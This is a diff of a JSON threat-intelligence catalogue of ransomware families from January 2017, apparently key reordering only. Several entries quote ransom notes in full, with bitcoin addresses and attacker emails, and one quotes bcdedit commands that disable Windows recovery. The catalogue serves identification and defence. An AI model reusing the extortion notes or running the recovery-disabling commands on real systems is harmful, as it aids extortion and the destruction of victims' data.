+ "encryption": "AES",
+ "extensions": [
+ ".encrypted"
],
"ransomnotes": [
"YOUR FILES ARE ENCRYPTED!!!.txt",
"https://2.bp.blogspot.com/-uIb_TdWTk3Q/WI2qRSlsXJI/AAAAAAAADcE/h92XEY6AraQMUwEIOBZ9moxN1J2So8xpwCLcB/s1600/note_2.png",
"YOUR FILES ARE ENCRYPTED!!! To restore (decrypt) them you must:\n1. Pay 0.25 bitcoin (btc) to address 36QLSB*** You can get BTC on this site http://localbitcoins.com \n2. After payment you must send Bitcoin Transacation ID to E-mail: andresaha82@gmail.com Then we will send you decryption tool."
],
- "encryption": "AES",
- "extensions": [
- ".encrypted"
- ],
- "date": "January 2017"
+ "refs": [
+ "http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html",
+ "https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html",
+ "https://twitter.com/jiriatvirlab/status/825411602535088129"
+ ]
},
- "description": "Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.",
- "value": "RansomPlus",
- "uuid": "c039a50b-f5f9-4ad0-8b66-e1d8cc86717b"
+ "uuid": "c039a50b-f5f9-4ad0-8b66-e1d8cc86717b",
+ "value": "RansomPlus"
},
{
+ "description": "This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files",
"meta": {
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".unCrypte@outlook.com_<random_numbers_and_upper_alphabetic_characters> ",
+ ".decipher_ne@outlook.com_<random_numbers_and_upper_alphabetic_characters"
+ ],
+ "ransomnotes": [
+ "How decrypt files.hta",
+ "Your files are encrypted! Your personal ID764F6A6664514B414373673170615339554A534A5832546A55487169644B4A35 Discovered a serious vulnerability in your network security. No data was stolen and no one will be able to do it while they are encrypted. For you we have automatic decryptor and instructions for remediation. How to get the automatic decryptor : \n1) Pay 0,25 BTC Buy BTC on one of these sites: https://localbitcoins.com https://www.coinbase.com https://xchange.cc bitcoin adress for pay: 1KG8rWYWRYHfvjVe8ddEyJNCg6HxVWYSQm Send 0,25 BTC \n2) Send screenshot of payment to unCrypte@outlook.com. In the letter include your personal ID (look at the beginning of this document). \n3) You will receive automatic decryptor and all files will be restored \n* To be sure in getting the decryption, you can send one file (less than 10MB) to unCrypte@outlook.com In the letter include your personal ID (look at the beginning of this document). But this action will increase the cost of the automatic decryptor on 0,25 btc... \nAttention! \n• No Payment = No decryption \n• You really get the decryptor after payment \n• Do not attempt to remove the program or run the anti-virus tools \n• Attempts to self-decrypting files will result in the loss of your data \n• Decoders other users are not compatible with your data, because each user's unique encryption key"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html",
"https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/",
"https://twitter.com/PolarToffee/status/824705553201057794",
"https://twitter.com/demonslay335/status/1004351990493741057",
"https://twitter.com/demonslay335/status/1004803373747572736"
- ],
- "ransomnotes": [
- "How decrypt files.hta",
- "Your files are encrypted! Your personal ID764F6A6664514B414373673170615339554A534A5832546A55487169644B4A35 Discovered a serious vulnerability in your network security. No data was stolen and no one will be able to do it while they are encrypted. For you we have automatic decryptor and instructions for remediation. How to get the automatic decryptor : \n1) Pay 0,25 BTC Buy BTC on one of these sites: https://localbitcoins.com https://www.coinbase.com https://xchange.cc bitcoin adress for pay: 1KG8rWYWRYHfvjVe8ddEyJNCg6HxVWYSQm Send 0,25 BTC \n2) Send screenshot of payment to unCrypte@outlook.com. In the letter include your personal ID (look at the beginning of this document). \n3) You will receive automatic decryptor and all files will be restored \n* To be sure in getting the decryption, you can send one file (less than 10MB) to unCrypte@outlook.com In the letter include your personal ID (look at the beginning of this document). But this action will increase the cost of the automatic decryptor on 0,25 btc... \nAttention! \n• No Payment = No decryption \n• You really get the decryptor after payment \n• Do not attempt to remove the program or run the anti-virus tools \n• Attempts to self-decrypting files will result in the loss of your data \n• Decoders other users are not compatible with your data, because each user's unique encryption key"
- ],
- "encryption": "AES",
- "extensions": [
- ".unCrypte@outlook.com_<random_numbers_and_upper_alphabetic_characters> ",
- ".decipher_ne@outlook.com_<random_numbers_and_upper_alphabetic_characters"
- ],
- "date": "January 2017"
+ ]
},
- "description": "This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files",
- "value": "CryptConsole",
- "uuid": "42508fd8-3c2d-44b2-9b74-33c5d82b297d"
+ "uuid": "42508fd8-3c2d-44b2-9b74-33c5d82b297d",
+ "value": "CryptConsole"
},
{
+ "description": "Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/forums/t/638191/zxz-ransomware-support-help-topic-zxz/?hl=%2Bzxz#entry4168310",
- "https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html"
- ],
+ "date": "January 2017",
"extensions": [
".zxz"
],
- "date": "January 2017"
+ "refs": [
+ "https://www.bleepingcomputer.com/forums/t/638191/zxz-ransomware-support-help-topic-zxz/?hl=%2Bzxz#entry4168310",
+ "https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html"
+ ]
},
- "description": "Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A",
- "value": "ZXZ Ramsomware",
- "uuid": "e4932d1c-2f97-474d-957e-c7df87f9591e"
+ "uuid": "e4932d1c-2f97-474d-957e-c7df87f9591e",
+ "value": "ZXZ Ramsomware"
},
{
+ "description": "Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html"
- ],
+ "date": "January 2017",
"encryption": "AES+RSA",
"extensions": [
".vxlock"
],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html"
+ ]
},
- "description": "Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc",
- "value": "VxLock Ransomware",
- "uuid": "14deb95c-7af3-4fb1-b2c1-71087e1bb156"
+ "uuid": "14deb95c-7af3-4fb1-b2c1-71087e1bb156",
+ "value": "VxLock Ransomware"
},
{
+ "description": "Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/funfact.html",
- "http://www.enigmasoftware.com/funfactransomware-removal/"
- ],
+ "date": "January 2017",
+ "encryption": "AES+RSA",
"ransomnotes": [
"note.iti",
"Important Information!!!! You had bad luck. All your files are encrypted with RSA and AES ciphers. to get your files back read carefully. if you do not understand, Read again. All your documents are recoverable only with our software and key file. To decrypt files you need to contact worldfunfact@sigaint.org or funfacts11@tutanota.com and set your ID as email title and send clsign.dll file from your computer. That is the key file and yes, it’s encrypted. Search your computer for filename “clsign.dll” attach it to email. if you wish we will decrypt one of your encrypted file for free! It’s your guarantee. After you made payment you will receive decryption software with key and necessary instructions. if you don’t contact us within 72 hours we will turn on sanctions. you’ll have to pay more. Recovery is only possible during 7 days. after that don’t contact us. Remember you are just single payment away from all your files If your files are urgent pay exactly requested amount to Bitcoin (BTC) address and send clsign.dll file to us. We will send your decryption software within 24 hours; remember if you contact us first maybe you’ll have to pay less\nUser ID: 658061***\nBTC Address: 1AQrj***\nAmount(BTC): 1.65806\n-----BEGIN PGP PUBLIC KEY BLOCK-----\nVersion:\nGnuPG\nv2\n*******************************\n-----END PGP PUBLIC KEY BLOCK-----"
],
- "encryption": "AES+RSA",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/funfact.html",
+ "http://www.enigmasoftware.com/funfactransomware-removal/"
+ ]
},
- "description": "Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.",
- "value": "FunFact Ransomware",
- "uuid": "2bfac605-a2c5-4742-92a2-279a08a4c575"
+ "uuid": "2bfac605-a2c5-4742-92a2-279a08a4c575",
+ "value": "FunFact Ransomware"
},
{
+ "description": "First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html",
- "http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html"
+ "date": "January 2017",
+ "encryption": "AES+RSA",
+ "extensions": [
+ ".<7_random_letters>"
],
"ransomnotes": [
"encrypted_readme.txt",
@@ -1147,501 +1154,509 @@
"https://2.bp.blogspot.com/-CLo4JTpveKY/WI4sVXEQSPI/AAAAAAAADcU/n8qrwehDEQMlG845cjNow_fC4PDqlvPIQCLcB/s1600/note_2.png",
"WARNING! Your personal files are encrypted! Your most important files on this computer have been encrypted: photos, documents, videos, music, etc. You can verify this by trying to open such files. Encryption was produced using an UNIQUE public RSA-4096 key, specially generated for this computer only, thus making it impossible to decrypt such files without knowing private key and comprehensive decipher software. We have left on our server a copy of the private key, along with all required software for the decryption. To make sure that software is working as intended you have a possibility to decrypt one file for free, see contacts below. The private key will be destroyed after 7 days, afterwards making it impossible to decrypt your files. Encryption date: *** Private key destruction date: *** For obtaining decryption software, please, contact: myserverdoctor@gmail.com or XMPP jabber: doctordisk@jabbim.com"
],
- "encryption": "AES+RSA",
- "extensions": [
- ".<7_random_letters>"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html",
+ "http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html"
+ ]
},
- "description": "First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.",
- "value": "ZekwaCrypt Ransomware",
- "uuid": "89d5a541-ef9a-4b18-ac04-2e1384031a2d"
+ "uuid": "89d5a541-ef9a-4b18-ac04-2e1384031a2d",
+ "value": "ZekwaCrypt Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/sage-2-ransomware.html",
- "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/",
- "http://www.securityweek.com/sage-20-ransomware-demands-2000-ransom",
- "https://www.bleepingcomputer.com/news/security/sage-2-0-ransomware-gearing-up-for-possible-greater-distribution/",
- "https://www.govcert.admin.ch/blog/27/sage-2.0-comes-with-ip-generation-algorithm-ipga"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".sage"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-6YhxRaqa_9Q/WISA9dW31bI/AAAAAAAADUE/78mNNKpPMyc2Gzi1N9CooyQp7RNT40NNgCLcB/s1600/note1_2.png",
"https://1.bp.blogspot.com/-_c5vGu4nCvE/WIT_pWP_FSI/AAAAAAAADUs/8hK8a4E48sY3U_aAHC2qNzYDBL0bQcNjgCLcB/s1600/note-wallp111.png",
"!Recovery_[3_random_chars].html"
],
- "encryption": "AES",
- "extensions": [
- ".sage"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/sage-2-ransomware.html",
+ "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/",
+ "http://www.securityweek.com/sage-20-ransomware-demands-2000-ransom",
+ "https://www.bleepingcomputer.com/news/security/sage-2-0-ransomware-gearing-up-for-possible-greater-distribution/",
+ "https://www.govcert.admin.ch/blog/27/sage-2.0-comes-with-ip-generation-algorithm-ipga"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker",
- "value": "Sage 2.0 Ransomware",
- "uuid": "9174eef3-65f7-4ab5-9b55-b323b36fb962"
+ "uuid": "9174eef3-65f7-4ab5-9b55-b323b36fb962",
+ "value": "Sage 2.0 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html",
- "http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/",
- "https://twitter.com/BleepinComputer/status/822653335681593345"
- ],
+ "date": "January 2017",
+ "encryption": "AES",
"ransomnotes": [
"Warning警告.html",
"https://4.bp.blogspot.com/-OTxFEWf7LiY/WIO0rJmBgJI/AAAAAAAADTQ/U3BLcd2-CPQQ_73eIKIyg28cKFmw4nctgCLcB/s1600/note.jpg"
],
- "encryption": "AES",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html",
+ "http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/",
+ "https://twitter.com/BleepinComputer/status/822653335681593345"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures",
- "value": "CloudSword Ransomware",
- "uuid": "a89e0ae0-e0e2-40c5-83ff-5fd672aaa2a4"
+ "uuid": "a89e0ae0-e0e2-40c5-83ff-5fd672aaa2a4",
+ "value": "CloudSword Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!",
"meta": {
- "synonyms": [
- "Fake"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".killedXXX"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-llR46G5zOBE/WIJuTTHImXI/AAAAAAAADS8/Ww_QU1Z7Q3geZgiSStJB3siO3oQJpIcowCLcB/s1600/note.jpg",
"https://4.bp.blogspot.com/-ilIaUD5qOuk/WIJuV1TuC1I/AAAAAAAADTA/SOj8St_qXMsgDexK1BGgZT0yFDkNDz_7QCLcB/s1600/lock.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".killedXXX"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html"
],
- "date": "January 2017"
+ "synonyms": [
+ "Fake"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!",
- "value": "DN",
- "uuid": "327eb8b4-5793-42f0-96c0-7f651a0debdc"
+ "uuid": "327eb8b4-5793-42f0-96c0-7f651a0debdc",
+ "value": "DN"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/garryweber.html"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".id-_garryweber@protonmail.ch"
],
"ransomnotes": [
"HOW_OPEN_FILES.html",
"https://1.bp.blogspot.com/-w6lxK0qHj8A/WIO_iAngUzI/AAAAAAAADTk/dLGlrwwOh508AlG2ojLRszpUxL0tHrtSQCLcB/s1600/note-html.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".id-_garryweber@protonmail.ch"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/garryweber.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc..",
- "value": "GarryWeber Ransomware",
- "uuid": "b6e6da33-bf23-4586-81cf-dcfe10e13a81"
+ "uuid": "b6e6da33-bf23-4586-81cf-dcfe10e13a81",
+ "value": "GarryWeber Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS",
"meta": {
+ "date": "January 2017",
+ "encryption": "AES-256 + RSA-2048",
+ "extensions": [
+ ".stn"
+ ],
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-5BgSHIym-8Y/WIH92q4ymHI/AAAAAAAADSk/MF2T-mmhuY4irQZFqmpGZjmUI2onlNCyACLcB/s1600/ransom-note.png",
+ "HELP_DECRYPT_FILES.html"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html",
"https://www.bleepingcomputer.com/forums/t/637811/satan-ransomware-help-support-topic-stn-extension-help-decrypt-fileshtml/",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-20th-2017-satan-raas-spora-locky-and-more/",
"https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/",
"https://twitter.com/Xylit0l/status/821757718885236740"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-5BgSHIym-8Y/WIH92q4ymHI/AAAAAAAADSk/MF2T-mmhuY4irQZFqmpGZjmUI2onlNCyACLcB/s1600/ransom-note.png",
- "HELP_DECRYPT_FILES.html"
- ],
- "encryption": "AES-256 + RSA-2048",
- "extensions": [
- ".stn"
- ],
- "date": "January 2017"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS",
- "value": "Satan Ransomware",
- "uuid": "61d8bba8-7b22-493f-b023-97ffe7f17caf"
+ "uuid": "61d8bba8-7b22-493f-b023-97ffe7f17caf",
+ "value": "Satan Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..",
"meta": {
- "synonyms": [
- "HavocCrypt Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-Xs7yigomWw8/WH0mqn0QJLI/AAAAAAAADKA/0Fk5QroMsgQ3AsXbHsbVtopcJN4qzDgdACLcB/s1600/note.jpg"
- ],
+ "date": "January 2017",
"encryption": "AES",
"extensions": [
".HavocCrypt"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-Xs7yigomWw8/WH0mqn0QJLI/AAAAAAAADKA/0Fk5QroMsgQ3AsXbHsbVtopcJN4qzDgdACLcB/s1600/note.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html"
+ ],
+ "synonyms": [
+ "HavocCrypt Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..",
- "value": "Havoc",
- "uuid": "c6bef9c8-becb-4bee-bd97-c1c655133396"
+ "uuid": "c6bef9c8-becb-4bee-bd97-c1c655133396",
+ "value": "Havoc"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html",
- "http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".locked"
],
"ransomnotes": [
"IMPORTANTE_LEER.html",
"RECUPERAR_ARCHIVOS.html",
"https://3.bp.blogspot.com/-KE6dziEK4To/WHnvPzKOs7I/AAAAAAAADHI/KPBjmO9iChgAa12-f1VOxF49Pv27-0XfQCLcB/s1600/note.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".locked"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html",
+ "http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.",
- "value": "CryptoSweetTooth Ransomware",
- "uuid": "ca831782-fcbf-4984-b04e-d79b14e48a71"
+ "uuid": "ca831782-fcbf-4984-b04e-d79b14e48a71",
+ "value": "CryptoSweetTooth Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts",
"meta": {
- "synonyms": [
- "RansomTroll Ransomware",
- "Käändsõna Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html",
- "https://twitter.com/BleepinComputer/status/819927858437099520"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".kencf"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-v3jncd77m3U/WHkjPoEusKI/AAAAAAAADGE/xJOIgzm-ST0L4kpNeThKTyfukq3e1Th-QCLcB/s1600/troll-22.png",
"You have been struck by the holy Kaandsona ransomware Either you pay 1 BTC in 24 hours or you lose ALL FILES \nbutton 'Show all encrypted files' \nbutton 'PAY'"
],
- "encryption": "AES",
- "extensions": [
- ".kencf"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html",
+ "https://twitter.com/BleepinComputer/status/819927858437099520"
],
- "date": "January 2017"
+ "synonyms": [
+ "RansomTroll Ransomware",
+ "Käändsõna Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts",
- "value": "Kaandsona Ransomware",
- "uuid": "aed61a0a-dc48-43ac-9c33-27e5a286899e"
+ "uuid": "aed61a0a-dc48-43ac-9c33-27e5a286899e",
+ "value": "Kaandsona Ransomware"
},
{
+ "description": "It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html",
- "http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/"
+ "date": "January 2017",
+ "encryption": "AES-256",
+ "extensions": [
+ ".lambda_l0cked"
],
"ransomnotes": [
"READ_IT.hTmL",
"https://1.bp.blogspot.com/-B3o6bGziu_M/WHkyueI902I/AAAAAAAADGw/la7psCE9JEEe17GipFh69xVnIDYGFF38wCLcB/s1600/note-1-2.gif"
],
- "encryption": "AES-256",
- "extensions": [
- ".lambda_l0cked"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html",
+ "http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/"
+ ]
},
- "description": "It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware",
- "value": "LambdaLocker Ransomware",
- "uuid": "0d1b35e9-c87a-4972-8c27-a11c13e351d7"
+ "uuid": "0d1b35e9-c87a-4972-8c27-a11c13e351d7",
+ "value": "LambdaLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "HakunaMatataRansomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html",
- "https://id-ransomware.blogspot.co.il/2016_03_01_archive.html"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".HakunaMatata"
],
"ransomnotes": [
"Recovers files yako.html",
"https://4.bp.blogspot.com/-DUXeyyzqwKs/WHkrGvLyFvI/AAAAAAAADGg/SPfrNMZYGs8edE7X5z-3MBroIqS5GQ8kACLcB/s1600/note_1-str_2.png"
],
- "encryption": "AES",
- "extensions": [
- ".HakunaMatata"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html",
+ "https://id-ransomware.blogspot.co.il/2016_03_01_archive.html"
],
- "date": "January 2017"
+ "synonyms": [
+ "HakunaMatataRansomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "NMoreia 2.0 Ransomware",
- "uuid": "0645cae2-bda9-4d68-8bc3-c3c1eb9d1801"
+ "uuid": "0645cae2-bda9-4d68-8bc3-c3c1eb9d1801",
+ "value": "NMoreia 2.0 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it’s just XOR)",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/marlboro.html",
- "https://decrypter.emsisoft.com/marlboro",
- "https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/"
+ "date": "January 2017",
+ "encryption": "XOR",
+ "extensions": [
+ ".oops"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-7UmhPM2VSKY/WHe5tDsHfuI/AAAAAAAADFM/FRdUnAyxAggvF0hX0adtrpq48F7HXPbawCLcB/s1600/check-decrypt.png",
"https://1.bp.blogspot.com/-MWRTa6aXtdk/WHflJFyb-GI/AAAAAAAADFs/dc-l-RrWSCAPE8akw2SCb1uuj-a-2shiwCLcB/s1600/docm.png",
"_HELP_Recover_Files_.html"
],
- "encryption": "XOR",
- "extensions": [
- ".oops"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/marlboro.html",
+ "https://decrypter.emsisoft.com/marlboro",
+ "https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it’s just XOR)",
- "value": "Marlboro Ransomware",
- "uuid": "4ae98da3-c667-4c6e-b0fb-5b52c667637c"
+ "uuid": "4ae98da3-c667-4c6e-b0fb-5b52c667637c",
+ "value": "Marlboro Ransomware"
},
{
